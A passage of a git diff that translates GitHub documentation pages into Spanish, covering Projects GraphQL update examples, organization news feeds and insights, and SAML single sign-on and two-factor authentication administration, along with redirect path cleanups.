+**Nota:** No puedes utilizar `updateProjectNextItemField` para cambiar `Assignees`, `Labels`, `Milestone`, o `Repository` ya que estos campos son propiedades de las solicitudes de cambio y propuestas y no de los elementos del proyecto. En vez de esto, debes utilizar las mutaciones [addAssigneesToAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addassigneestoassignable), [removeAssigneesFromAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removeassigneesfromassignable), [addLabelsToLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addlabelstolabelable), [removeLabelsFromLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removelabelsfromlabelable), [updateIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updateissue), [updatePullRequest]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updatepullrequest) o [transferIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#transferissue).
 
 {% endnote %}
 
-### Updating a single select field
+### Actualizar un campo de selección simple
 
-The following example will update the value of a single select field for an item.
+El siguiente ejemplo actualizará el valor de un campo de selección simple para un elemento.
 
-- `PROJECT_ID` - Replace this with the node ID of your project.
-- `ITEM_ID` - Replace this with the node ID of the item you want to update.
-- `FIELD_ID` -  Replace this with the ID of the single select field that you want to update.
-- `OPTION_ID` - Replace this with the ID of the desired single select option.
-
-{% include tool-switcher %}
+- `PROJECT_ID` - Reemplázalo con la ID de nodo de tu proyecto.
+- `ITEM_ID` - Reemplázalo con la ID de nodo del elemento que quieras actualizar.
+- `FIELD_ID` -  Reemplaza esto con la ID de un campo de selección simple que quieras actualizar.
+- `OPTION_ID` - Reemplaza esto con la ID de la opción de selección simple deseada.
 
 {% curl %}
 ```shell
@@ -456,16 +436,14 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-### Updating an iteration field
+### Actualizar un campo de iteración
 
-The following example will update the value of an iteration field for an item.
+El siguiente ejemplo actualizará el valor de un campo de iteración para un elemento.
 
-- `PROJECT_ID` - Replace this with the node ID of your project.
-- `ITEM_ID` - Replace this with the node ID of the item you want to update.
-- `FIELD_ID` -  Replace this with the ID of the iteration field that you want to update.
-- `ITERATION_ID` - Replace this with the ID of the desired iteration. This can be either an active iteration (from the `iterations` array) or a completed iteration (from the `completed_iterations` array).
-
-{% include tool-switcher %}
+- `PROJECT_ID` - Reemplázalo con la ID de nodo de tu proyecto.
+- `ITEM_ID` - Reemplázalo con la ID de nodo del elemento que quieras actualizar.
+- `FIELD_ID` -  Reemplaza esto con la ID del campo de iteración que quieras actualizar.
+- `ITERATION_ID` - Reemplaza esto con la ID de la iteración deseada. Esto puede ser ya sea la iteración activa (desde el arreglo `iterations`) o una iteración completa (desde el arreglo `completed_iterations`).
 
 {% curl %}
 ```shell
@@ -496,11 +474,9 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-### Deleting an item from a project
+### Borrar un elemento de un proyecto
 
-The following example will delete an item from a project. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to delete.
-
-{% include tool-switcher %}
+El siguiente ejemplo borrará un elemento de un proyecto. Reemplaza a `PROJECT_ID` con la ID de nodo de tu proyecto. Reemplaza `ITEM_ID` con la ID de nodo del elemento que quieras borrar.
 
 {% curl %}
 ```shell
diff --git a/translations/es-ES/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md b/translations/es-ES/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
index 1510b752a7..d86eeda69f 100644
--- a/translations/es-ES/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
+++ b/translations/es-ES/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md
@@ -3,7 +3,7 @@ title: Crear y editar hitos para propuestas y solicitudes de extracción
 intro: Puedes crear un hito para hacer un seguimiento del progreso en grupos de propuestas o solicitudes de extracción en un repositorio.
 redirect_from:
   - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/creating-and-editing-milestones-for-issues-and-pull-requests
-  - /articles/creating-milestones-for-issues-and-pull-requests/
+  - /articles/creating-milestones-for-issues-and-pull-requests
   - /articles/creating-and-editing-milestones-for-issues-and-pull-requests
   - /github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests
 versions:
diff --git a/translations/es-ES/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md b/translations/es-ES/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
index a979d00eea..1ed8b019b2 100644
--- a/translations/es-ES/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
+++ b/translations/es-ES/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md
@@ -12,7 +12,7 @@ redirect_from:
   - /articles/creating-and-editing-labels-for-issues-and-pull-requests
   - /articles/creating-a-label
   - /github/managing-your-work-on-github/creating-a-label
-  - /articles/customizing-issue-labels/
+  - /articles/customizing-issue-labels
   - /articles/applying-labels-to-issues-and-pull-requests
   - /github/managing-your-work-on-github/applying-labels-to-issues-and-pull-requests
   - /articles/editing-a-label
diff --git a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
index a8af117ca4..f898eb21a5 100644
--- a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
+++ b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md
@@ -14,23 +14,27 @@ topics:
   - Teams
 ---
 
-{% data reusables.organizations.about-organizations %}
+{% data reusables.organizations.about-organizations %} For more information about account types, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
 
 {% data reusables.organizations.organizations_include %} 
 
 {% data reusables.organizations.org-ownership-recommendation %} For more information, see "[Maintaining ownership continuity for your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)."
 
-{% ifversion fpt or ghec %}
 ## Organizations and enterprise accounts
 
-Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations.
+{% ifversion fpt %}
+Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/about-organizations).
+{% else %}
+{% ifversion ghec %}For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level.{% endif %} Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization owners cannot change settings enforced for your organization at the enterprise account level. If you have questions about a policy or setting for your organization, contact the owner of your enterprise account.
 
-For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level. Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization owners cannot change settings enforced for your organization at the enterprise account level. If you have questions about a policy or setting for your organization, contact the owner of your enterprise account.
-
-{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/creating-an-enterprise-account){% ifversion ghec %}."{% else %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
+{% ifversion ghec %}
+{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
 
 {% data reusables.enterprise-accounts.invite-organization %}
+{% endif %}
+{% endif %}
 
+{% ifversion fpt or ghec %}
 ## Terms of service and data protection for organizations
 
 An entity, such as a company, non-profit, or group, can agree to the Standard Terms of Service or the Corporate Terms of Service for their organization. For more information, see "[Upgrading to the Corporate Terms of Service](/articles/upgrading-to-the-corporate-terms-of-service)."
diff --git a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
index e6ffdbf9b4..c7e12779dd 100644
--- a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
+++ b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
@@ -1,8 +1,8 @@
 ---
-title: About your organization’s news feed
-intro: You can use your organization's news feed to keep up with recent activity on repositories owned by that organization.
+title: Acerca de las noticias de tu organización
+intro: Puedes usar las noticias de tu organización para mantenerte al corriente de las actividades recientes en los repositorios que posee esa organización.
 redirect_from:
-  - /articles/news-feed/
+  - /articles/news-feed
   - /articles/about-your-organization-s-news-feed
   - /articles/about-your-organizations-news-feed
   - /github/setting-up-and-managing-organizations-and-teams/about-your-organizations-news-feed
@@ -14,17 +14,15 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Organization news feed
+shortTitle: Fuente de noticias de la organización
 ---
 
-An organization's news feed shows other people's activity on repositories owned by that organization. You can use your organization's news feed to see when someone opens, closes, or merges an issue or pull request, creates or deletes a branch, creates a tag or release, comments on an issue, pull request, or commit, or pushes new commits to {% data variables.product.product_name %}.
+Las noticias de una organización muestran las actividades de otras personas en los repositorios que posee esa organización. Puedes usar las noticias de tu organización para ver cuando alguien abre, cierra o fusiona una propuesta o solicitud de extracción, crea o elimina una rama, crea una etiqueta o un lanzamiento, comenta en una propuesta, una solicitud de extracción o una confirmación de cambios o sube confirmaciones nuevas a {% data variables.product.product_name %}.
 
-## Accessing your organization's news feed
+## Acceder a las noticias de tu organización
 
-1. {% data variables.product.signin_link %} to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
-2. Open your {% data reusables.user_settings.personal_dashboard %}.
-3. Click the account context switcher in the upper-left corner of the page.
-  ![Context switcher button in Enterprise](/assets/images/help/organizations/account_context_switcher.png)
-4. Select an organization from the drop-down menu.{% ifversion fpt or ghec %}
-  ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %}
-  ![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %}
+1. {% data variables.product.signin_link %} a tu cuenta en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
+2. Abre tu {% data reusables.user_settings.personal_dashboard %}.
+3. Haz clic en el cambiador de contexto de la cuenta en la esquina superior izquierda de la página. ![Botón cambiador de contexto en Enterprise](/assets/images/help/organizations/account_context_switcher.png)
+4. Selecciona una organización del menú desplegable.{% ifversion fpt or ghec %} ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %}
+![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %}
diff --git a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
index e7d9c16a67..13740d2b1a 100644
--- a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
+++ b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
@@ -1,11 +1,11 @@
 ---
 title: Acceder a los parámetros de tu organización
 redirect_from:
-  - /articles/who-can-access-organization-billing-information-and-account-settings/
-  - /articles/managing-the-organization-s-settings/
-  - /articles/who-can-see-billing-information-account-settings/
-  - /articles/who-can-see-billing-information-and-access-account-settings/
-  - /articles/managing-an-organization-s-settings/
+  - /articles/who-can-access-organization-billing-information-and-account-settings
+  - /articles/managing-the-organization-s-settings
+  - /articles/who-can-see-billing-information-account-settings
+  - /articles/who-can-see-billing-information-and-access-account-settings
+  - /articles/managing-an-organization-s-settings
   - /articles/accessing-your-organization-s-settings
   - /articles/accessing-your-organizations-settings
   - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organizations-settings
diff --git a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/index.md b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/index.md
index 1be260e567..c8a9fa9d42 100644
--- a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/index.md
+++ b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/index.md
@@ -2,7 +2,7 @@
 title: Colaborar con grupos en organizaciones
 intro: Los grupos de personas pueden colaborar en muchos proyectos a la vez en cuentas d ela organización.
 redirect_from:
-  - /articles/creating-a-new-organization-account/
+  - /articles/creating-a-new-organization-account
   - /articles/collaborating-with-groups-in-organizations
   - /github/setting-up-and-managing-organizations-and-teams/collaborating-with-groups-in-organizations
 versions:
diff --git a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md
index 5e868d4583..24ac2e3471 100644
--- a/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md
+++ b/translations/es-ES/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing insights for your organization
-intro: 'Organization insights provide data about your organization''s activity, contributions, and dependencies.'
+title: Ver información de tu organización
+intro: 'La información de tu organización brinda datos acerca de la actividad, las contribuciones y las dependencias de tu organización.'
 product: '{% data reusables.gated-features.org-insights %}'
 redirect_from:
   - /articles/viewing-insights-for-your-organization
@@ -11,57 +11,49 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: View organization insights
+shortTitle: Ver las perspectivas de la organización
 ---
 
-All members of an organization can view organization insights. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+Todos los miembros de una organización pueden ver información de la organización. Para obtener más información, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
 
-You can use organization activity insights to help you better understand how members of your organization are using {% data variables.product.product_name %} to collaborate and work on code. Dependency insights can help you track, report, and act on your organization's open source usage.
+Puedes utilizar la información sobre la actividad de la organización para ayudarte a comprender mejor cómo los miembros de tu organización están utilizando {% data variables.product.product_name %} para colaborar y trabajar con el código. La información sobre las dependencias puede ayudarte a rastrear, informar y actuar en relación al uso del código abierto de tu organización.
 
-## Viewing organization activity insights
+## Ver la información de la actividad de la organización
 
 {% note %}
 
-**Note:** Organization activity insights are currently in public beta and subject to change.
+**Nota:**las perspectivas de actividad en las organizaciones se encuentran actualmente en un beta público y están sujetos a cambio.
 
 {% endnote %}
 
-With organization activity insights you can view weekly, monthly, and yearly data visualizations of your entire organization or specific repositories, including issue and pull request activity, top languages used, and cumulative information about where your organization members spend their time.
+Con la información sobre la actividad de la organización puedes ver semanal, mensual y anualmente las visualizaciones de datos de toda tu organización o de repositorios específicos, incluida la actividad de las propuestas y las solicitudes de extracción, los principales lenguajes utilizados e información acumulada sobre dónde los miembros de tu organización pasan su tiempo.
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
-3. Under your organization name, click {% octicon "graph" aria-label="The bar graph icon" %} **Insights**.
-  ![Click the organization insights tab](/assets/images/help/organizations/org-nav-insights-tab.png)
-4. Optionally, in the upper-right corner of the page, choose to view data for the last **1 week**, **1 month**, or **1 year**.
-  ![Choose time period to view org insights](/assets/images/help/organizations/org-insights-time-period.png)
-5. Optionally, in the upper-right corner of the page, choose to view data for up to three repositories and click **Apply**.
-  ![Choose repositories to view org insights](/assets/images/help/organizations/org-insights-repos.png)
+3. Dentro del nombre de tu organización, haz clic en {% octicon "graph" aria-label="The bar graph icon" %} **Insights (Información)**. ![Haz clic en la pestaña de información de la organización](/assets/images/help/organizations/org-nav-insights-tab.png)
+4. Como alternativa, en el ángulo superior derecho de la página, elige ver los datos del/de la último/a **semana**, **mes** o **año**. ![Elige un período de tiempo para ver la información de la organización](/assets/images/help/organizations/org-insights-time-period.png)
+5. Alternativamente, en el ángulo superior derecho de la página, elige ver hasta tres repositorios y haz clic en **Apply (Aplicar)**. ![Elige repositorios para ver la información de la organización](/assets/images/help/organizations/org-insights-repos.png)
 
-## Viewing organization dependency insights
+## Ver la información de las dependencias de la organización
 
 {% note %}
 
-**Note:** Please make sure you have enabled the [Dependency Graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph). 
+**Notea:** Por favor, asegúrate de que hayas habilitado la [Gráfica de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph).
 
 {% endnote %}
 
-With dependency insights you can view vulnerabilities, licenses, and other important information for the open source projects your organization depends on.
+Con la información sobre las dependencias puedes ver vulnerabilidades, licencias y otra información importante de los proyectos de código abierto de los que depende tu organización.
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
-3. Under your organization name, click {% octicon "graph" aria-label="The bar graph icon" %} **Insights**.
-  ![Insights tab in the main organization navigation bar](/assets/images/help/organizations/org-nav-insights-tab.png)
-4. To view dependencies for this organization, click **Dependencies**.
-  ![Dependencies tab under the main organization navigation bar](/assets/images/help/organizations/org-insights-dependencies-tab.png)
-5. To view dependency insights for all your {% data variables.product.prodname_ghe_cloud %} organizations, click **My organizations**.
-  ![My organizations button under dependencies tab](/assets/images/help/organizations/org-insights-dependencies-my-orgs-button.png)
-6. You can click the results in the **Open security advisories** and **Licenses** graphs to filter by a vulnerability status, a license, or a combination of the two.
-  ![My organizations vulnerabilities and licenses graphs](/assets/images/help/organizations/org-insights-dependencies-graphs.png)
-7. You can click on {% octicon "package" aria-label="The package icon" %} **dependents** next to each vulnerability to see which dependents in your organization are using each library.
-  ![My organizations vulnerable dependents](/assets/images/help/organizations/org-insights-dependencies-vulnerable-item.png)
+3. Dentro del nombre de tu organización, haz clic en {% octicon "graph" aria-label="The bar graph icon" %} **Insights (Información)**. ![Pestaña de información en la barra de navegación principal de la organización](/assets/images/help/organizations/org-nav-insights-tab.png)
+4. Para ver las dependencias de esta organización, haz clic en **Dependencies (Dependencias)**. ![Pestaña de dependencias debajo de la barra de navegación principal de la organización](/assets/images/help/organizations/org-insights-dependencies-tab.png)
+5. Para ver la información de las dependencias de todas tus organizaciones {% data variables.product.prodname_ghe_cloud %}, haz clic en **My organizations (Mis organizaciones)**. ![Botón Mi organización dentro de la pestaña de dependencias](/assets/images/help/organizations/org-insights-dependencies-my-orgs-button.png)
+6. Puedes hacer clic en los resultados de los gráficos **Open security advisories** (Avisos de seguridad abiertos) y **Licenses** (Licencias) para filtrar por estado de vulnerabilidad, por licencia o por una combinación de ambos. ![Gráficas de "las vulnerabilidades de mis organizaciones" y de licencias](/assets/images/help/organizations/org-insights-dependencies-graphs.png)
+7. Puedes hacer clic en {% octicon "package" aria-label="The package icon" %} **dependents (dependientes)** al lado de cada vulnerabilidad para ver qué dependiente en tu organización está usando cada biblioteca. ![Dependientes vulnerables de mis organizaciones](/assets/images/help/organizations/org-insights-dependencies-vulnerable-item.png)
 
-## Further reading
- - "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)"
- - "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)"
- - "[Changing the visibility of your organization's dependency insights](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)"{% ifversion ghec %}
-- "[Enforcing policies for dependency insights in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)"{% endif %}
+## Leer más
+ - "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations)"
+ - "[Explorar las dependencias de un repositorio](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)"
+ - "[Cambiar la visibilidad de las perspectivas de dependencia de tu organización](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)"{% ifversion ghec %}
+- "[Requerir políticas para las perspectivas de dependencia en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)"{% endif %}
diff --git a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
index 84fdefa98d..df66bdedbf 100644
--- a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
+++ b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: About two-factor authentication and SAML single sign-on
-intro: Organizations administrators can enable both SAML single sign-on and two-factor authentication to add additional authentication measures for their organization members.
+title: Acerca de la autenticación de dos factores y el inicio de sesión único de SAML
+intro: Los administradores de las organizaciones pueden activar tanto el inicio de sesión único de SAML como la autenticación de dos factores para agregar medidas de autenticación adicionales para sus miembros de la organización.
 redirect_from:
   - /articles/about-two-factor-authentication-and-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/about-two-factor-authentication-and-saml-single-sign-on
@@ -9,18 +9,18 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: 2FA & SAML single sign-on
+shortTitle: 2FA & Inicio de sesión único de SAML
 ---
 
-Two-factor authentication (2FA) provides basic authentication for organization members. By enabling 2FA, organization administrators limit the likelihood that a member's account on {% data variables.product.product_location %} could be compromised. For more information on 2FA, see "[About two-factor authentication](/articles/about-two-factor-authentication)."
+La autenticación de dos factores (2FA) ofrece una autenticación básica para los miembros de la organización. Al habilitar la 2FA, los administradores de la organización limitan la probabilidad de que una cuenta de un miembro en {% data variables.product.product_location %} pudiera ponerse en riesgo. Para obtener más información, consulta "[Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication)".
 
-To add additional authentication measures, organization administrators can also [enable SAML single sign-on (SSO)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) so that organization members must use single sign-on to access an organization. For more information on SAML SSO, see "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)."
+Para agregar medidas de autenticación adicionales, los administradores de la organización también pueden [activar el inicio de sesión único (SSO) de SAML](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) para que los miembros de la organización deban usar el inicio de sesión único para acceder a una organización. Para obtener más información sobre SAML SSO, consulta "[Acerca de la administración de identidad y acceso con inicio de sesión único de SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on)".
 
-If both 2FA and SAML SSO are enabled, organization members must do the following:
-- Use 2FA to log in to their account on {% data variables.product.product_location %}
-- Use single sign-on to access the organization
-- Use an authorized token for API or Git access and use single sign-on to authorize the token
+Si tanto la 2FA como SAML SSO están activados, los miembros de la organización deben hacer lo siguiente:
+- Utilizar la 2FA para iniciar sesión en su cuenta en {% data variables.product.product_location %}
+- Usar el inicio de sesión único para acceder a la organización.
+- Usar un token autorizado para el acceso a Git o a la API y usar el inicio de sesión único para autorizar el token.
 
-## Further reading
+## Leer más
 
-- "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)"
+- "[Implementar el inicio de sesión único de SAML para tu organización](/articles/enforcing-saml-single-sign-on-for-your-organization)"
diff --git a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
index 3b715c25de..b3952218ce 100644
--- a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
+++ b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
@@ -1,6 +1,6 @@
 ---
-title: Granting access to your organization with SAML single sign-on
-intro: 'Organization administrators can grant access to their organization with SAML single sign-on. This access can be granted to organization members, bots, and service accounts.'
+title: Conceder acceso a tu organización con el inicio de sesión único SAML
+intro: 'Los administradores de la organización pueden conceder acceso con el inicio de sesión único SAML. Este acceso se les puede conceder a los miembros de la organización, a los bots y a las cuentas de servicio.'
 redirect_from:
   - /articles/granting-access-to-your-organization-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/granting-access-to-your-organization-with-saml-single-sign-on
@@ -13,6 +13,6 @@ children:
   - /managing-bots-and-service-accounts-with-saml-single-sign-on
   - /viewing-and-managing-a-members-saml-access-to-your-organization
   - /about-two-factor-authentication-and-saml-single-sign-on
-shortTitle: Grant access with SAML
+shortTitle: Otorgar acceso con SAML
 ---
 
diff --git a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
index 0b6a234588..55f5ea915f 100644
--- a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
+++ b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Managing bots and service accounts with SAML single sign-on
-intro: Organizations that have enabled SAML single sign-on can retain access for bots and service accounts.
+title: Administrar bot y cuentas de servicio con inicio de sesión único de SAML
+intro: Las organizaciones que han habilitado el inicio de sesión único de SAML pueden conservar el acceso para los bot y las cuentas de servicio.
 redirect_from:
   - /articles/managing-bots-and-service-accounts-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/managing-bots-and-service-accounts-with-saml-single-sign-on
@@ -9,17 +9,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage bots & service accounts
+shortTitle: Administrar bots & cuentas de servicio
 ---
 
-To retain access for bots and service accounts, organization administrators can [enable](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization), but **not** [enforce](/articles/enforcing-saml-single-sign-on-for-your-organization) SAML single sign-on for their organization. If you need to enforce SAML single sign-on for your organization, you can create an external identity for the bot or service account with your identity provider (IdP).
+Para conservar el acceso a los bot y a las cuentas de servicio, los administradores de la organización pueden [habilitar](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization), pero **no** [implementar](/articles/enforcing-saml-single-sign-on-for-your-organization) el inicio de sesión único de SAML para sus organizaciones. Si debes implementar el inicio de sesión único de SAML para tu organización, puedes crear una identidad externa para el bot o la cuenta de servicio con tu proveedor de identidad (IdP).
 
 {% warning %}
 
-**Note:** If you enforce SAML single sign-on for your organization and **do not** have external identities set up for bots and service accounts with your IdP, they will be removed from your organization.
+**Nota:** Si implementas el inicio de sesión único de SAML para tu organización y **no** tienes identidades externas configuradas para bots y cuentas de servicio con tu IdP, estas se eliminarán de tu organización.
 
 {% endwarning %}
 
-## Further reading
+## Leer más
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[Acerca de la administración de identidad y el acceso con el inicio de sesión único de SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
diff --git a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
index 8845f4c7cb..67f3b33f0b 100644
--- a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
+++ b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing a member's SAML access to your organization
-intro: 'You can view and revoke an organization member''s linked identity, active sessions, and authorized credentials.'
+title: Visualizar y administrar el acceso de SAML de un miembro a tu organización
+intro: 'Puedes ver y revocar la identidad vinculada de un miembro de la organización, sesiones activas y credenciales autorizadas.'
 permissions: Organization owners can view and manage a member's SAML access to an organization.
 redirect_from:
   - /articles/viewing-and-revoking-organization-members-authorized-access-tokens
@@ -11,27 +11,27 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage SAML access
+shortTitle: Administrar el acceso de SAML
 ---
 
-## About SAML access to your organization
+## Acerca del acceso de SAML a tu organización
 
-When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.product.product_location %}. To access your organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access your organization's resources using the API or Git, the member must use a personal access token or SSH key that the member has authorized for use with your organization.
+Cuando habilitas el inicio de sesión único de SAML en tu organización, cada miembro de esta puede enlazar su identidad externa con tu proveedor de identidad (IdP) con su cuenta existente en {% data variables.product.product_location %}. Para acceder a los recursos de tu organización en {% data variables.product.product_name %}, el miembro debe tener una sesión activa de SAML en su buscador. Para acceder a los recursos de tu organización utilizando Git o la API, el miembro debe utilizar un token de acceso personal o llave SSH que se le haya autorizado para su uso con tu organización.
 
-You can view and revoke each member's linked identity, active sessions, and authorized credentials on the same page.
+Puedes ver y revocar la identidad vinculada de cada miembro, sesiones activas y credenciales auotrizadas en la misma página.
 
-## Viewing and revoking a linked identity
+## Visualizar y revocar una identidad vinculada
 
-{% data reusables.saml.about-linked-identities %} 
+{% data reusables.saml.about-linked-identities %}
 
